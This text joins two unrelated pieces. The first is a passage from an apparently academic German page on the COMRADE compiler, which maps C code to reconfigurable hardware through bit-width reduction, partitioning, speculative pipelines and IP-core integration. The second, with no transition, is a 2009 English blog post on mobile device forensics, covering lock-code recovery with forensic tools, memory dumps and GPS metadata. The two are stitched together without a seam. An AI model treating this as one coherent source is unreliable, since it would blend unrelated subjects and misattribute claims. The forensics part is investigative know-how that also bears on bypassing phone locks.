Datenpfaden. Der Compiler erkennt automatisch Ansatzpunkte für Parallelität im
Programm und baut diese ohne den Eingriff eines Designers in die Datenpfade
ein.

Die meiste Zeit eines Programms wird in Schleifen verbracht. Als gute
Faustregel gilt, dass 90% der Zeit in 10% des Programms verbracht werden. Es
liegt also auf der Hand, dass eine Verbesserung dieser 10% am lohnendsten ist.
Da sich jedoch die Eigenschaften von adaptiven Computersystemen deutlich von
denen von Standard-Hardware unterscheidet, sind die bekannten Optimierungen
nicht im gleichen Maße wirksam. Es muss evaluiert werden, welche Vorteile
bekannte Verfahren bringen. Ebenso sind auch neue Optimierungen zu
untersuchen.

Schon am eingelesenen C-Sourcecode kann der Compiler Optimierungen vornehmen,
die sich direkt in der erzeugten Hardware auswirken. Der eingelesene C-Code
wird intern als Baum dargestellt. Dabei entstehen auch Teilbäume, welche bei
einer Umwandlung in einen Datenflusgraphen keine minimalen Laufzeiten haben.
Wird z.B. die Anweisung `e = a + b + c + d` eingelesen, so wird ein Baum der
Höhe 3 \(Bild 13a\) erzeugt. Die Laufzeit dieses Baums könnte aber durch eine
andere Klammerung `(e = (a + b) + (c + d))` um 33% verkürzt werden. Eine
perfekte Baumhöhenreduzierung ist aber nur mit NP-vollständigem Aufwand
durchführbar. In COMRADE wird dagegen eine Heuristik benutzt, welche
Assoziativität und Kommutativität von Operatoren ausnutzt, um durch lokales
Verdrehen von Operatoren oder Operanden schon in der Zwischendarstellung eine
Laufzeitreduzierung in der endgültigen Hardware herbeizurufen \(Bild 13b\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak10.gif' alt='ak10.gif' />  
---  
**Bild 13:** Baumhöhenreduktion durch Operator-Verdrehen  
Diese erzeugt zwar nicht in jedem Fall eine optimale Lösung. Doch wird vor
allem bei sehr hohen Bäumen eine Reduzierung der Zeit für das Compilieren
erreicht.

Als sehr gewinnbringend für die Größe von Hardware hat sich die Reduzierung
der Bitbreite von Operatoren erwiesen \(Bild 14\). Dabei werden in
Ausdrucksbäumen Informationen von Konstanten mit den Eigenschaften von
bitweisen \(AND, OR\) und mathematischen \(+, -\) Operatoren verknüpft und so
nicht benötigte Bits identifiziert. Dabei können auch Operatoren vereinfacht
oder durch Verdrahtung ersetzt werden. Eine Multiplikation mit Zwei lässt sich
beispielsweise durch ein einfaches Schieben ersetzen. Neben der Einsparung von
Ressourcen sind Operatoren mit einer kleineren Breite meist auch schneller.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/ak_bitweise_optimierung.gif'
alt='ak_bitweise_optimierung.gif' />  
---  
**Bild 14:** Bitbreitenreduktion zur Einsparung von Ressourcen  
Verbesserungsmöglichkeiten der Bitbreitenreduktion ergeben sich, wenn vorher
eine als Constant-Propagation bezeichnete Optimierung ausgeführt wird. Dabei
werden alle als konstant erkannten Variablen eines Programms durch die
Konstanten selbst ersetzt. Diese werden dann von der Bitbreitenreduktion in
die Optimierung eingebunden.

#  Hardware-Software-Partitionierung

Der Compiler COMRADE wählt automatisch Regionen eines Quellcodes aus, welche
einen Laufzeitgewinn in Hardware versprechen. Das sind im allgemeinen innerste
Schleifen. Die Hardware-Auswahl von COMRADE hingegen versucht, auch mehrere
geschachtelte Schleifen für die Hardware-Beschleunigung zu verwenden.

Dies geschieht in drei getrennten Schritten. Im ersten Schritt werden alle
Schleifen dupliziert \(Bild 15\), für die aufgrund von Profiling-Daten eine
Beschleunigung durch die Hardware-Ausführung zu erwarten ist. Hierbei können
auch mehrere geschachtelte Schleifen dupliziert werden.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/nk_loop_duplication.gif'
alt='nk_loop_duplication.gif' />  
---  
**Bild 15:** Duplizierung von Schleifen für Hardware-Regionen  
Zwischen diesem und dem folgenden Schritt der Hardware-Auswahl wird die
Markierung aller Operatoren mit hardware-relevanten Daten in den duplizierten
Regionen durch einen Compilerschritt vorgenommen. Der zweite Schritt sucht
nach Pfaden in den Regionen, welche sich für die Hardware-Implementierung
eignen. Dabei müssen mehrere Forderungen erfüllt sein \(Bild 16\). Zum ersten
sollen nur Blöcke verwendet werden, die in Hardware realisierbar oder ohne
Bedeutung für die Hardware-Ausführung sind. Blöcke, die z.B. nur die Zuweisung
einer Konstanten an eine Variable besitzen, sind unbedeutend für die Hardware-
Ausführung.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/nk_auswahlkriterien.gif'
alt='nk_auswahlkriterien.gif' />  
---  
**Bild 16:** Auswahlkriterien für Pfade in Hardware-Regionen  
Weiter soll der aktuelle Pfad auf dem kürzesten Weg zu einem Ausgang der
Hardware-Region führen. Dadurch wird verhindert, dass beispielsweise in
verschachtelten Schleifen alle Pfade einer inneren Schleife der Hardware
zugeordnet werden, aber der Pfad keinen Ausgang der Region enthält. Solche
Blöcke wären nicht in Hardware realisierbar, da auf jeden Fall ein Ergebnis
von der Hardware an die Software zurückgegeben werden muss. Weiterhin sollen
die Pfade eine hohe Ausführungswahrscheinlichkeit haben. Dadurch wird
gewährleistet, dass hauptsächlich Teile des Quelltexts in Hardware übersetzt
werden, welche einen hohen Geschwindigkeitsgewinn erzielen. Nur für
gelegentliche Unterbrechungen muss in Software gewechselt werden. Der dritte
Schritt der Hardware-Auswahl beurteilt alle Hardware-Regionen durch den zu
erwartenden Laufzeitgewinn gegenüber der Software-Realisierung. Der
Laufzeitgewinn bestimmt sich hauptsächlich durch die Anzahl der parallel
ausführbaren Operatoren in der Hardware. Fällt der Laufzeitgewinn zu klein
aus, wird die Software-Realisierung gewählt.

Tests an verschiedenen Programmen haben gezeigt, dass durch die Betrachtung
mehrerer geschachtelter Schleifen ein höheres Potenzial an Laufzeitgewinn
durch Hardware-Beschleunigung erreichbar ist.

#  Spekulative Ausführung von Datenflussgraphen in Pipelines

Die Ausführung der aus der DFCSSA-Form erzeugten Datenflussgraphen \(DFG\) auf
der rekonfigurierbaren Hardware muss durch COMRADE geplant werden. Die DFGs
enthalten verschiedene Typen von Operatoren. Statische Operatoren haben eine
vorgegebene Laufzeit, dynamische dagegen werden mit einem Signal gestartet und
signalisieren das Ende ihrer Operation. Neben diesen zwei grundsätzlichen
Typen können auch Operatoren in den Datenflussgraphen auftreten, die
beispielsweise interne Pipelines enthalten oder ihre Daten mit Hilfe von
Protokollen austauschen.

Vor allem das Vorhandensein von dynamischen Operatoren macht klassische
Scheduling-Algorithmen wie kräftegesteuertes Scheduling unbrauchbar für den
Einsatz in COMRADE. Diese Algorithmen können nur die längste Laufzeit
benutzen, um die Operatoren einzubinden. Zur Lösung dieses Problems wird durch
COMRADE für jeden DFG ein Petri-Netz erzeugt, welches die Ausführung des DFG
steuert sowie auf Signale aus dem DFG reagiert. Der so erzeugte Controller
startet eine Operation genau dann, wenn alle Eingangsdaten anliegen sowie alle
nötigen Kontrollflussbedingungen zur Ausführungen der Operation vorhanden
sind. Eine Operation wird natürlich nicht gestartet, wenn sie gerade rechnet.
Die Ergebnisse von Operationen werden in Registern zwischengespeichert. Durch
dieses Verhalten werden Daten schnellstmöglich verarbeitet. Es ist automatisch
eine Pipeline entstanden.

Eine weitere Verbesserung der Laufzeit des DFG kann erreicht werden, wenn
Operationen spekulativ ausgeführt werden. Hierbei werden Pfade im DFG
spekulativ berechnet, wenn diese kein Ergebnis verfälschen können. Operationen
wie Speicherzugriffe können demnach nicht spekulativ ausgeführt werden. In
COMRADE wird die spekulative Berechnung immer dann benutzt, wenn ein
Multiplexer aus mehreren Ergebnissen ein richtiges aufgrund von
Kontrollflussinformationen aussucht. Alle anderen Berechnungen werden dann
deaktiviert. Das Deaktivieren wird hierbei durch einen speziellen Zustand der
Knoten im Controller erreicht, welche sich in Gegenrichtung des Datenflusses
fortpflanzen können \(Bild 17\). Trifft dieser Zustand \(Down\) einen Zustand,
der eine aktuelle Berechnung steuert \(Up\), so löschen sich beide aus. Die
Berechnung wird also abgebrochen.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/nk_mux.gif' width='100%' />  
---  
**Bild 17:** Multiplexer mit dazugehörigen Up- und Down-Zuständen  
#  Rekonfigurations-Scheduling

Die durch COMRADE erzeugten Datenpfade sind oft so klein, dass mehrere von
ihnen gemeinsam zu einer Konfiguration für die rekonfigurierbare Logik
zusammengefasst werden können. Auf diese Weise lässt sich die Anzahl von
Rekonfigurationen verringern. Jede so vermiedene Rekonfiguration verbessert
wegen der langen Rekonfigurationszeiten der meisten heute verwendeten
Bausteine die ACS-Beschleunigung eines Programms erheblich. Grundlage für das
Zusammenfassen von Datenpfaden zu Konfigurationen in COMRADE bilden
Kontrollflussinformationen \(Welcher Datenpfad muss nach welchem anderen
geladen werden?\) und Laufzeitinformationen \(Wie oft wird ein Datenpfad
benötigt?\). Dazu wird ein so genannter Datenpfad-Ladegraph erzeugt, in
welchem diese Informationen zusammengefasst sind \(Bild 18\). Der Datenpfad
_DP1_ verbraucht hier beispielsweise 100 Ressourcen und hat einen
Ausführungsbeiwert von 0,3.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/nk_partitionierung_beiwert.gif'
alt='nk_partitionierung_beiwert.gif' />  
---  
**Bild 18:** Datenpfad-Ladegraph  
Durch eine Heuristik wird der Datenpfad-Ladegraph partitioniert. Jede der
entstehenden Partitionen stellt eine Konfiguration für den rekonfigurierbaren
Teil eines Adaptiven Rechensystems dar. Werden nun mehrere Datenpfade während
einer Programmausführung hintereinander benötigt, können Rekonfigurationen
weitgehend vermieden werden: Beim Test mit realen Programmen hat sich gezeigt,
dass so bis zu über 99% der Rekonfigurationen eingespart werden können.

#  Bitbreiten-Reduktion und Evaluierung konstanter Bits

Bei adaptiven Rechnern kann nicht nur die Struktur des rechnenden Datenpfades
an die Anforderungen der Anwendung angepasst werden, sondern auch die jedes
einzelnen Operators innerhalb des Datenpfades. Für die Addition muss also
nicht immer das gleiche Addierwerk verwendet werden, das variable Werte
addieren kann, sondern es können für bestimmte Konstanten spezialisierte
Additionsoperatoren erzeugt werden. Dazu werden nicht nur die konstanten,
sondern auch die von jeder Einheit tatsächlich berechneten Bits verfolgt.
Feiner als bei den C-Datentypen \(z.B. Worte von 32 Bit, 16 Bit, 8 Bit\)
können in einem spezialisierten Operator auch innerhalb des "Wortes"
unbenutzte Bits oder konstante Bits auftreten. Konstante Bits treten meist
nach logischen Operationen auf oder nach dem Extrahieren von Werten aus
gepackten Darstellungen \(z.B. Datenpaketen bei Kommunikationsprotokollen. Ein
Beispiel mag hier mehrere der potenziellen Optimierungen verdeutlichen.

` // Endianness eines Wertes ändern, C-Beschreibung  
` ` unsigned char a[];  
` ` result = (a[i] << 24) + (a[i+1] << 16) + (a[i+2] << 8) + a[i+3];`

In dieser Rechnung werden, nach C-Standard, die einzelnen Unsigned Chars aus
dem Speicher erst auf die Länge von "int" gebracht \(normalerweise 32 Bits\),
anschließend werden durch Shift-Operationen die Werte an die richtige Stelle
des Zielwortes gebracht. Die einzelnen Resultate werden addiert.

Durch die Verfolgung von konstanten Bits, in diesem Falle je 24 konstante
Nullen pro Einzelausdruck, kann hier jedoch keine Breite in den Datenworten
eingespart werden. Immerhin, die erkannten konstanten Werte müssen nicht mehr
berechnet oder über den Chip verdrahtet werden: Sie können direkt an ihren
Konsumenten lokal angelegt werden.

Eine weitere Optimierung aus dem Bereich der Logiksynthese erlaubt aber eine
weitere Verbesserung: Im Beispiel kann, da die einzelnen variablen Bereiche
der Teilausdrücke nicht überlappend sind, kein Übertrag zwischen den drei
Additionen entstehen \(die obersten 24 Bit sind ja als Null erkannt worden\).
Deshalb kann in dieser Rechnung die gesamte Addition durch ein logisches ODER-
Gatter ersetzt werden. Anschliessend wird die Wirkung der 24 konstanten Null-
Bits auf dieses ODER-Gatter analysiert. Dabei wird dann ermittelt, dass die
Funktion des Gatters in diesem Fall genausogut durch reine Verdrahtung
berechnet werden kann, dass Gatter selbst kann also vollständig entfallen.

In einer Hardware-Beschreibungssprache wie Verilog würde diese Struktur am
ehesten durch

` // Endianness eines Wertes ändern, Verilog-Beschreibung  
` ` assign result [7:0] = a[i+3];  
` ` assign result [15:8] = a[i+2];  
` ` assign result [23:16] = a[i+1];  
` ` assign result [31:24] = a[i];`

ausgedrückt. Arithmetik wird für diese Rechnung nun nicht mehr benötigt.

In weniger extremen Fällen lassen sich durch diese Vorgehensweise aber die
Anzahl der Überträge \(Länge der Carry-Chains\) reduzieren und somit kleinere
und schnellere Operatoren erzeugen.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/mr_carry_chain_unterbrechungen.gif'
alt='mr_carry_chain_unterbrechungen.gif' />  
---  
**Bild 19:** Aufbrechen von Carry-Chains  
#  Beschreibungsunabhängige Analysemethoden

Innerhalb des COMRADE-Compilers befindet sich ein Interface für
Datenflussanalysen. Dieses Interface abstrahiert den kompletten Kontrollfluss
von höheren Analysen ebenso wie viele Details des internen Aufbaus der
Zwischendarstellung. Durch dieses "DFlow"-Interface ist es möglich, viele
bestehende Methoden aus der Fachliteratur direkt zu benutzen.

Als Basisdarstellung werden Bitvektoren benutzt, die eine einfache Möglichkeit
der Mengenoperationen bieten. Die meisten Algorithmen zur Datenflussanalyse
basieren auf solchen Mengenoperationen. Als Basis der Berechnung dienen hier
Attribute wie READ/WRITE auf Variablen. Diese Attribute müssen aus der
internen Zwischendarstellung extrahiert werden. Aufbauend auf einigen solchen
synthetischen Attributen können dann viele andere Attribute berechnet werden,
wobei kein Zugriff mehr auf die interne Repräsentation nötig ist. Somit ist es
einfach möglich, Analysen zu entwerfen, die unabhängig vom System sind. Durch
die bessere Entkopplung wird nicht nur die Wiederverwendbarkeit der Analysen
verbessert, sondern es werden auch Seiteneffekte vermieden. Es ist aus der
Sicht eines Analysepasses nicht mehr ohne weiteres möglich, direkt die
Zwischendarstellung zu ändern. Dies beugt Programmfehlern vor.

#  Metaoptimierungen für adaptive Rechner

Mit der Definition von ATS \(Aggressive Tail Splitting\) wurde ein neues
Verfahren zur Optimierung von Programmen definiert. Es ist keine neue Art von
Optimierung, sondern eine Metaoptimierung. Innerhalb einer Schleife wird jeder
mögliche Programmablauf, auch über Schleifengrenzen hinweg, als eigener
Ablauffaden aufgefasst. Hierdurch ergibt sich zwar eine Vergrößerung des
Programms, durch diese Transformation wird es jedoch möglich, dass eine Reihe
von Optimierungen besser durchgeführt werden kann.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/mr_ats.gif' alt='mr_ats.gif' />  
---  
**Bild 20:** Beispiel für Aggressive Tail Splitting  
In Bild 20 muss vor jedem _A_ oder _B_ in der untersten Ebene auf der linken
Seite des _if_ einmal _A_ ausgeführt werden. Auf der anderen Seite des _if_
muss vorher ein _B_ ausgeführt worden sein. Diese konstante Vorgeschichte kann
zur Optimierung benutzt werden.

#  Unterstützung von spekulativer Parallelisierung auf einem adaptiven Rechner

Bei der spekulativen Parallelisierung wird davon ausgegangen, dass jeder der
parallelisierten Abläufe keine Änderungen \(Schreibzugriffe auf Variablen\)
ausführt, die einen anderen Ablauf beeinflussen. Trotzdem muss das Programm
auch bei Verletzung dieser optimistischen Annahme korrekte Ergebnisse liefern.
Dazu werden die Teilergebnisse jedes Ablaufs solange nur lokal gehalten, bis
ein Konflikt mit einem anderem Ablauf definitiv ausgeschlossen werden kann.
Erst dann werden die Daten freigegeben \(also z.B. in den Speicher
geschrieben\). Im Falle eines Konflikts \(erkannt durch spezialisierte
Überwachungs-Hardware\) wird dagegen der bisher gerechnete Ablauf verworfen
und mit, von einem anderen Ablauf freigegebenen, modifizierten Daten neu
gestartet.

Der Vorteil der spekulativen Parallelisierung liegt darin, dass sie auch dann
durchgeführt werden kann, wenn eine statische Analyse des sequentiellen
Programmtextes die nebenläufige Ausführbarkeit nicht garantieren kann. Als
Nachteile sind die komplexere Hardware und der potenziell höhere
Energieverbrauch durch das wiederholte Rechnen von Abläufen \(aufgrund von
Konflikten\) zu nennen.

Auf einem adaptiven Rechner kann nun die Überwachungs-Hardware zur Erkennung
und Auflösung von Konflikten gezielt auf die potenziellen Konflikte abgestimmt
werden, die im realisierten Algorithmus auftreten können. Sie ist somit
deutlich einfacher als eine universelle Implementierung.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/mr_tlp.gif' alt='mr_tlp.gif' />  
---  
**Bild 21:** Spekulative Parallelisierung auf einem adaptiven Rechner  
Untersucht wurde neben der Erweiterung des Speichersystems MARC um die
Konflikterkennungs-Funktionalität auch die Anwendbarkeit des vorgeschlagenen
Verfahrens in Beispielprogrammen aus den unterschiedlichsten
Anwendungsgebieten.

#  Einbindung komplexer IP-Blöcke in automatisch generierte Datenpfade

Neben der Verwendung relativ einfacher Operatoren, wie sie der Modulgenerator
GLACE bereitstellt, ist es aus mehreren Gründen sinnvoll, auch komplexere IP-
Blöcke \(Intellectual Property\) nahtlos in automatisch generierte Datenpfade
zu integrieren. Zum einen können extrem hohe Anforderungen an die Hardware-
Qualität, z.B. zur Steigerung der Rechenleistung, die manuelle Optimierung
eines Blockes erforderlich machen, der dann mit der restlichen kompilierten
Anwendung zusammengebunden werden muss. Diese Vorgehensweise ähnelt der im
Software-Bereich praktizierten Einbindung handoptimierten Assembler-Codes in
größere C Programme. Zum anderen besteht die Möglichkeit der Wiederverwendung
schon bestehender IP-Blöcke in einer neuen, in C formulierten Anwendung. Dies
entspricht etwa den Bibliotheken im Software-Bereich.

Um die automatische Integration der IP-Hardware zu ermöglichen, wurden
zunächst die Schnittstellensemantiken von mehr als dreißig kommerziellen IP-
Blöcken klassifiziert. Hierbei wurden sowohl abstrakte logische Konstrukte wie
Datenströme, Speicherblöcke oder skalare/vektorielle Daten und ihre Formate
und Raten untersucht als auch physikalische Schnittstelleneigenschaften wie
Busprotokolle und Handshake-Verfahren. Anschließend wurde der Systemrahmen
PaCIFIC \(Parametric C Interface For IP Cores\) definiert, welcher die
Einbettung der abstrahierten Schnittstellenmechanismen in die
Programmiersprache C realisiert.

#  Parametric C Interface For IP Cores \(PaCIFIC\)

PaCIFIC besteht aus Regeln für einen idiomatischen Programmstil, der beim
Einbetten von IP-Blöcken in ein C-Quellprogramm angewendet werden muss, und
Semantiken zur Schnittstellensteuerung, die das Schnittstellenverhalten eines
IP-Blockes beschreiben \(Bild 22\). Dazu enthält PaCIFIC ein Datenmodell und
eine menschenlesbare Beschreibungssprache für die Charakteristiken von
einzelnen IP-Blöcken sowie ganzer Plattformen. Alle Komponenten sind in
mehreren speziellen Compiler-Passes zusammengebunden, welche die notwendigen
Analyse- und Syntheseschritte sowohl für die Hardware als auch die Software
durchführen.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/hl_pacific1.gif'
alt='hl_pacific1.gif' />  
---  
**Bild 22:** Design-Fluss mit PaCIFIC  
PaCIFIC ermöglicht die automatische Kombination von IP-Blöcken und zur
Hardware-Ausführung bestimmten Programmteilen \(siehe Compiler für adaptive
Rechensysteme\) zu einem Datenpfad und dessen Nutzung aus einer Software-
Beschreibung heraus, die gleichzeitig Quelle und Senke für die Daten ist. Ein
natürlicher Ansatz für reine Software würde die beiden IP-Blöcke als
C-Funktionen betrachten. Aus einer Folge solcher Funktionsaufrufe wird die
Hardware-Pipeline automatisch generiert. Dies erfordert zusätzliche
Informationen über die Hardware-"Funktionen", z.B. das
Schnittstellenprotokoll, oder welche Register mit welchen Werten programmiert
werden müssen, um eine bestimmte IP-Funktion auszuführen. Die Informationen
werden vom IP-Entwickler in o.g. Beschreibungssprache zusammen mit dem IP-
Block in einer speziellen Bibliothek hinterlegt. Der Software-Entwickler
benötigt folglich keine Kenntnis von den tatsächlichen Mechanismen, die an der
Realisierung des Datenpfades beteiligt sind.

PaCIFIC ermöglicht COMRADE \(Link\), komplexe IP-Blöcke zu integrieren und auf
diese zuzugreifen. Dazu wird COMRADE um zusätzliche Compiler-Durchläufe
erweitert, die anhand der PaCIFIC-Beschreibung idiomatische Hardware-
Funktionsaufrufe in einem C-Quellprogramm finden. Im ersten Durchlauf wird die
interne Zwischendarstellung des C-Programms nach IP-Blöcken durchsucht. Sie
werden im weiteren Verlauf nicht von den existierenden C-nach-Hardware
Compiler-Durchläufen verarbeitet. Der die IP-Block-Aufrufe enthaltende
Basisblock ist durch einen Knoten in der internen Darstellung repräsentiert.
Dieser wird zwischen Software-Ausführung und automatisch synthetisierten
Datenpfaden einerseits sowie IP-Block-Ausführung andererseits aufgeteilt.
Anschließend wird die Zwischendarstellung nach Hardware-Pipelines durchsucht.
Sie werden aus den automatisch kompilierten Hardware-Datenpfaden und im
Kontrollfluss aus angrenzenden IP-Blöcken zusammengesetzt \(Bild 23\).

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/hl_pacific2.gif'
alt='hl_pacific2.gif' />  
---  
**Bild 23:** Pipeline aus zusammengefassten Hardware-Knoten  
#  Plattformen und Systemkomposition

Plattformen spielen eine wesentliche Rolle beim Zusammensetzen \(Komponieren\)
von Hardware-Systemen aus bestehenden Komponenten \(Wiederverwendung, Re-
use\). Eine Plattform repräsentiert dabei eine Systemumgebung, in die eine
oder mehrere Hardware- oder Software-Komponenten integriert werden. Im Rahmen
dieser Arbeit wurden Möglichkeiten untersucht, Plattformen und Komponenten
derart umfassend zu beschreiben, dass sie automatisch gemäß Anwendervorgaben
zu Systemen komponiert werden können.

<img src='http://www.esa.informatik.tu-
darmstadt.de/../../../pub/Research/WebHomeDe/hl_platforms.gif'
alt='hl_platforms.gif' />  
---  
**Bild 24:** Struktur einer Plattformdefinition  
Der konkrete Aufbau des Systems wird durch die Plattformkonfiguration
bestimmt. Diese beschreibt jede verwendete Komponente und ihre speziellen
Eigenschaften \(in der Regel durch Parameterwerte\). Die
Plattformkonfigurationen sind der zentrale Bestandteil einer
Plattformdefinition. Es können mehrere alternative Konfigurationen existieren.
Sie bestehen im wesentlichen aus Instanzierungsbefehlen für Komponenten oder
Busbrücken. Eine Komponenteninstanzierung bindet einen Block mit seiner vollen
Funktionalität an die Plattform. Im Gegensatz dazu erwartet die
Busbrückeninstanzierung einen Block, der nur Adressübersetzung und
Datentransfer zwischen seinen Schnittstellen bietet. Die Plattform wird durch
Verbindung der Schnittstellen aller instanzierten Blöcke zusammengesetzt,
wobei ein Schnittstellenbindungsmechanismus verwendet wird, der Designs durch
Verbindung von Schnittstellen mit zueinander passenden Charakteristiken
automatisch zusammensetzt. Die Schnittstellenbindung ist ein schrittweiser
Prozess, welcher gestartet wird, wenn die Plattform oder das Design für den
späteren Gebrauch zusammengestellt wird. Jede initiierende Schnittstelle, d.h.
diejenige, die ein passendes Gegenstück sucht, wird nach und nach mit einer
Zielschnittstelle verbunden.

Auf diese Weise lassen sich auch komplexe Systeme automatisch durch Anwendung
einer Regelbasis geleitet durch die Benutzeranforderungen erstellen.

#  Allgemeine Einführung in adaptive Rechensysteme

Moderne Fertigungstechniken erlauben zwar die Herstellung immer größerer
Chips, auf der anderen Seite wird aber jeder einzelne Fertigungslauf \(von der
Maskenerstellung zum Test\) auf einem solchen Prozess immer aufwändiger und
damit für immer weniger Neuentwicklungen rentabel.

Ein Ausweg aus diesem Dilemma kann der Einsatz von programmierbaren bzw.
konfigurierbaren Schaltungen sein, bei denen eine feste Chip-Plattform durch
nachträgliche Anpassung auf die konkrete Anwendung zugeschnitten werden kann.
Neben der allgemeinen Kostensenkung durch Zugriff auf einen Massenbaustein
können durch das so erreichbare hohe Maß an Anpassbarkeit Änderungen \(z.B.
während eines Normungsprozesses\) ohne Risiko in den laufenden Entwurf
einfließen.

Die hohe Flexibilität von Standardprozessoren, deren Anwendung rein durch
Software definiert ist, wird häufig durch den Zwang zur Überdimensionierung
des Prozessors erkauft: Einzelne Funktionen der Anwendung, die sich
möglicherweise effizient direkt in Hardware implementieren lassen, können rein
in Software weniger gut realisierbar sein und erfordern zum Ausgleich einen
insgesamt leistungsfähigeren Prozessor. Eine universell einsetzbare Lösung
sollte daher neben der Software-Flexibilität auch in Hardware-Aspekten
anpassbar sein.

Das Spektrum dieser Anpassbarkeit reicht dabei von einmalig \(für die gesamte
Lebensdauer der Anwendung\), mehrmalig \(mehrere Änderungen über die
Lebensdauer der Anwendung\) bis hin zu dynamisch \(mehrfach wärend der
Ausführung der Anwendung\). Im ersten Fall werden in der Regel nicht-flüchtige
Bausteine \(z.B. antifuse-basierte FPGAs\) vor Auslieferung einmalig auf den
aktuellen Stand der Anwendung zugeschnitten. Beim zweiten Szenario besteht die
Möglichkeit, auch einen bereits ausgelieferten Baustein \(z.B. ein EEPROM-
basiertes FPGA\) noch anzupassen. Diese Möglichkeit kann auch für Updates auf
Hardware-Basis verwendet werden.

Adaptive Rechensysteme gehören zum dynamischen Fall. Hier werden die Hardware-
Funktionen zur Laufzeit an die Bedürfnisse der Anwendung angepasst. Selbst für
einzelne Programmphasen oder -modi \(z.B. Kompression, Dekompression etc.\)
können optimierte Funktionen in Hardware bereitgestellt werden. Diese
Anpassung kann dabei so weit gehen, dass die Hardware-Funktionen sogar noch
auf die im aktuellen Lauf verwendeten Daten spezialisiert werden \(z.B. den
konkreten Schlüssel für ein Krypto-Verfahren\).

Adaptive Rechensysteme basieren auf Technologien, die heute neben den
klassischen FPGAs \(die mittlerweile ausreichende Kapazitäten für reale
Rechenanwendungen bereitstellen\) und anwendungsspezifischen Prozessoren
\(ASIPs\) insbesondere auch sogenannte Network Processors umfassen. Letztere
haben als konfigurierbare Einheiten in der Regel keine 1-bit-breiten
Logikblöcke, sondern bauen auf Multi-Bit-Operatoren wie ALUs auf.

Entscheidende Leistungssteigerungen mittels adaptiver Rechner lassen sich nur
erreichen, wenn die Werkzeuge im Entwurfsfluss schon auf hoher Ebene auf die
Zielplattform hin optimieren. Dabei darf ein praktisch anwendbares System
nicht die Anforderungen seines potentiellen Nutzerkreises aus den Augen
verlieren: Zur Eingabe sollten dem Nutzer vertraute Notationen zum Tragen
kommen, im DSP-Bereich also beispielsweise C, Fortran und MATLAB. Die
Verwendung exotischer Eingabesprachen \(und dazu zählen aus Sicht eines
Software-Entwicklers auch HDLs\!\) wäre der breiten Anwendung eher hinderlich.

Bei dieser software-artigen Flexibilität der Hardware \(gelegentlich auch
Soft-Hardware oder Agileware genannt\) kommt es zwangsläufig zu einer sehr
engen Verzahnung von Hard- und Software-Aspekten. Hardware-Architekturen und
passende Entwurfswerkzeuge müssen sorgfältig aufeinander abgestimmt werden.
Eigenschaften der Hardware beeinflussen die Algorithmen der Entwurfswerkzeuge.
Umgekehrt erfordern verschiedene Vorgehensweisen der Werkzeuge auch die
Bereitstellung bestimmter Hardware-Fähigkeiten.

# SANS Computer Forensics, Investigation, and Response » Top 7 ways
investigators catch criminals using Mobile Device Forensics

**Created:**| _7/2/2009 4:27:05 PM_  
---|---  
**Updated:**| _7/2/2009 4:27:14 PM_  
**Author:**| __  
**Tags:**| _Forensics mobile/embedded_  
  

## Top 7 ways investigators catch criminals using Mobile Device Forensics

Posted by eoghancasey on July 1, 2009 – 11:59 am

Filed under Evidence Acquisition, Evidence Analysis, Mobile Device Forensics

Modern day mobile devices are a double-edged sword, creating new security
risks while providing valuable sources of evidence for digital forensic
investigators. Their ever expanding capabilities make mobile devices more like
personal computers that accompany us as we navigate the world. Digital
forensic investigators can use information stored on and generated by mobile
devices to reconstruct our movements, communications, and other personal
details.

If you need to extract information from cell phones, smart phones, and other
mobile devices, or are concerned about the security of data on such devices,
here are some important things you should know.

**Bypassing Security Codes** : Digital forensic investigators can extract the
security code from some locked mobile devices using specialized tools. The
screenshot below shows the security code “12345″ recovered from a Nokia 6230
using .XRY \(subscriber identifier redacted\). Being able to bypass security
mechanisms on a mobile device enables digital forensic investigators to
acquire data from the device with forensic software.

<img src='img/Temp2_7097.jpg' width='276' height='493' alt='Nokia 6230
security code recovered using .XRY' />

**Safe SIM Card** : Inserting the wrong SIM card into a cell phone destroys
some useful data in memory. To mitigate this issue, digital forensic
investigators can create “safe” SIM cards designed for forensic examination
purposes.

**Live Acquisition** : Removing the battery from a cell phone before
performing a forensic acquisition may destroy valuable evidence. In some
cases, to ensure that all available evidence is preserved, digital forensic
investigators will leave a mobile device powered on until a forensic
acquisition can be performed, taking precautions to prevent external
influences from altering data on the device.

**Trusted Time Source** : Even if the clock on the evidentiary device is
incorrect, some time stamps on the device may still be accurate because they
are generated by system on the core network. For instance, the time stamp in a
received SMS message is set by the Short Message Service Center, not by the
phone.

**Tracking Movements** : Some mobile devices store location-based information
associated with certain media and actions on the device. Digital forensic
investigators can recover this information to determine the geographic
location of the mobile device at a particular time. For instance, the
following screenshot shows Exif metadata extracted using JPEGsnoop from a
digital photograph taken using a G1 mobile device. This metadata includes the
date and time the photograph was taken and GPS coordinates of the location
\(location details redacted\).

<img src='img/Temp2_7095.jpg' width='494' height='707' alt='JPEGsnoop used to
extract Exif data from a GPS tagged digital photograph' />

**Recovering Deleted Data** : When the user clears the call log from a cell
phone, it may still be recoverable with relative ease. Therefore, even when
call logs are not displayed on the device, digital forensic investigators may
be able to view details about dialed, received, and missed calls on the device
using readily available tools.

**Getting Physical** : Digital forensic investigators can recover substantial
amounts of deleted data from an increasing number of mobile devices by
acquiring and analyzing the full contents of memory. This screenshot shows a
physical memory acquisition of a Nokia 6610 using the Sarasoft application via
a Twister flasher box.

<img src='img/Temp2_7096.jpg' width='816' height='425' alt='Physical memory
dump of Nokia 6610 using Twister flasher box and Sarasoft' />

Deleted data like photographs, call logs, and traces of user activities
\(e.g., Web browsing and file viewing\) recovered from a mobile device can
provide digital forensic investigators with some of the most useful and
incriminating evidence in a case.
